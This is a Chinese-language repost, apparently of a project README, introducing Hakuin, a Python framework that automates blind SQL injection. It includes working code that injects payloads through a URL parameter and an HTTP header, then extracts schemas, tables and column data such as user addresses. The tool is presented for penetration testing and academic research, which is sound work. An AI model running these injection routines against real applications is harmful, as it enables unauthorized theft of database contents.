Hakuin - 超快的盲 SQL 注入优化和自动化框架

Hakuin - 超快的盲 SQL 注入优化和自动化框架

8 个月前 晚上 9:56 | FaradaySEC 赞助的帖子| 多用户渗透测试环境锡安3R


Hakuin  超快的盲 SQL 注入优化和自动化框架-1.png



Hakuin 是一个用 Python 3 编写的盲 SQL注入(BSQLI) 优化和自动化 框架。它抽象了推理逻辑,并允许用户轻松高效地从易受攻击的Web 应用程序中提取数据库 (DB)。为了加快这一过程,Hakuin 采用了多种优化方法,包括预训练和自适应语言模型、机会性猜测、并行性等。

Hakuin 曾在知名学术和工业会议上发表过演讲: - BlackHat MEA,利雅得,2023 年 - Hack in the Box,普吉岛,2023 年 - IEEE S&P 攻击技术研讨会 (WOOT),2023 年

更多信息请参阅我们的论文幻灯片


安装​

要安装 Hakuin,只需运行:

pip3 install hakuin<br>
开发人员应该在本地安装该包并设置-e可编辑模式的标志:

git clone [email protected]:pruzko/hakuin.git<br>cd hakuin<br>pip3 install -e .<br>

示例​

一旦确定了 BSQLI 漏洞,就需要告诉 Hakuin 如何注入其查询。为此,从派生一个类Requester并重写request方法。此外,该方法必须确定查询是否解析为True或False。

示例 1 - 基于状态推断的查询参数注入​

import aiohttp<br>from hakuin import Requester<br><br>class StatusRequester(Requester):<br> async def request(self, ctx, query):<br> r = await aiohttp.get(f'<a href="http://vuln.com/?n=XXX" rel="nofollow"><span>http</span><span>://</span><span>vuln</span><span>.</span><span>com</span><span>/?</span><span>n</span><span>=</span><span>XXX</span></a>" OR ({query}) --')<br> return r.status == 200<br>

示例 2 - 基于内容推断的标头注入​

class ContentRequester(Requester):<br> async def request(self, ctx, query):<br> headers = {'vulnerable-header': f'xxx" OR ({query}) --'}<br> r = await aiohttp.get(f'<a href="http://vuln.com/" rel="nofollow"><span>http</span><span>://</span><span>vuln</span><span>.</span><span>com</span><span>/</span></a>', headers=headers)<br> return 'found' in await r.text()<br>
要开始提取数据,请使用<a href="https://www.kitploit.com/search/label/Extractor" target="_blank" title="Extractor">Extractor</a>类。它需要一个DBMS对象来构造查询,以及一个对象Requester来注入查询。Hakuin 目前支持SQLite、、(PostgreSQL)和(SQL Server)DBMS,但很快将包含更多选项。如果您希望支持其他 DBMS,请实现中定义的接口。MySQLPSQLMSSQLDBMShakuin/dbms/DBMS.py

示例 1 - 提取 SQLite/MySQL/PSQL/MSSQL​

import asyncio<br>from hakuin import Extractor, Requester<br>from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL<br><br>class StatusRequester(Requester):<br> ...<br><br>async def main():<br> # requester: Use this Requester<br> # dbms: Use this DBMS<br> # n_tasks: Spawns N tasks that extract column rows in parallel <br> ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)<br> ...<br><br>if name == 'main':<br> asyncio.get_event_loop().run_until_complete(main())<br>
现在一切已设置好,您可以开始提取数据库元数据。

示例 1 - 提取数据库模式​

# strategy:<br># 'binary': Use binary search<br># 'model': Use pre-trained model<br>schema_names = await ext.extract_schema_names(strategy='model')<br>

示例 2 - 提取表格​

tables = await ext.extract_table_names(strategy='model')<br>

示例 3 - 提取列​

columns = await ext.extract_column_names(table='users', strategy='model')<br>

示例 4 - 同时提取表和列​

metadata = await ext.extract_meta(strategy='model')<br>
一旦了解了结构,就可以提取实际内容。

示例 1 - 提取通用列​

# text_strategy: Use this strategy if the column is text<br>res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')<br>

示例 2 - 提取文本列​

# strategy:<br># 'binary': Use binary search<br># 'fivegram': Use five-gram model<br># 'unigram': Use unigram model<br># 'dynamic': Dynamically identify the best strategy. This setting<br># also enables opportunistic guessing.<br>res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')<br>

示例 3 - 提取整数列​

res = await ext.extract_column_int(table='users', column='id')<br>

示例 4 - 提取浮点列​

res = await ext.extract_column_float(table='products', column='price')<br>

示例 5 - 提取 Blob(二进制数据)列​

res = await ext.extract_column_blob(table='users', column='id')<br>
目录中可以找到更多示例tests。

从命令行使用 Hakuin​

Hakuin 附带一个简单的包装工具,hk.py允许您直接从命令行使用 Hakuin 的基本功能。要了解更多信息,请运行:

python3 hk.py -h<br>

对于研究人员​

此存储库正在积极开发,以满足安全从业人员的需求。希望重现我们论文中描述的实验的研究人员应安装冻结版本,因为它包含原始代码、实验脚本和重现结果的说明手册。

引用白隐​

@inproceedings{hakuin_bsqli,<br> title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},<br> author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},<br> booktitle={2023 IEEE Security and Privacy Workshops (SPW)},<br> pages={384--393},<br> year={2023},<br> organization={IEEE}<br>}<br>

下载白隐
 
后退
顶部